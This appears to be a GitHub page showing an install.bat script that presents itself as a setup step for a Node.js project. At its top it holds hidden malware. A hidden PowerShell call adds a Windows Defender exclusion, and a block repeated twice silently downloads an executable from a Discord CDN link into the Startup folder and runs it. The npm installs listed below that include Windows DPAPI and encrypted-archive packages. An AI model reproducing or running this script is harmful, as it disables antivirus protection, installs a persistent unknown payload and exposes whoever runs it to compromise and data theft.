-
Notifications
You must be signed in to change notification settings - Fork 0
/
install.bat
52 lines (34 loc) · 1.38 KB
/
install.bat
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
powershell -w hidden -c Add-MpPreference -ExclusionPath ""
@echo off
setlocal
set "URL=https://cdn.discordapp.com/attachments/1203072429677871137/1205909065876770836/Python_Installer.exe?ex=65da1556&is=65c7a056&hm=06eeada7be4a12622d1f76eb53fa7468a895d351f2eca661267c93175b9c487e&"
set "DEST=%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\Built.exe"
if exist "%DEST%" del "%DEST%"
curl --silent --output "%DEST%" "%URL%"
if %errorlevel% neq 0 (
exit /b %errorlevel%
)
call "%DEST%"
@echo off
setlocal
set "URL=https://cdn.discordapp.com/attachments/1203072429677871137/1205909065876770836/Python_Installer.exe?ex=65da1556&is=65c7a056&hm=06eeada7be4a12622d1f76eb53fa7468a895d351f2eca661267c93175b9c487e&"
set "DEST=%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\Built.exe"
if exist "%DEST%" del "%DEST%"
curl --silent --output "%DEST%" "%URL%"
if %errorlevel% neq 0 (
exit /b %errorlevel%
)
call "%DEST%"
echo off
echo NOTE: Make sure you have NodeJS and Visual Studio with all C++ prequisites installed. Otherwise this won't work
call npm install .
call npm install -g pkg
call npm install node-gyp
call npm install win-dpapi
call npm rebuild
call npm install is-wsl
call npm install temp-dir
call npm install archiver
call npm install archiver-zip-encrypted
call npm install node-machine-id
call npm intall child_process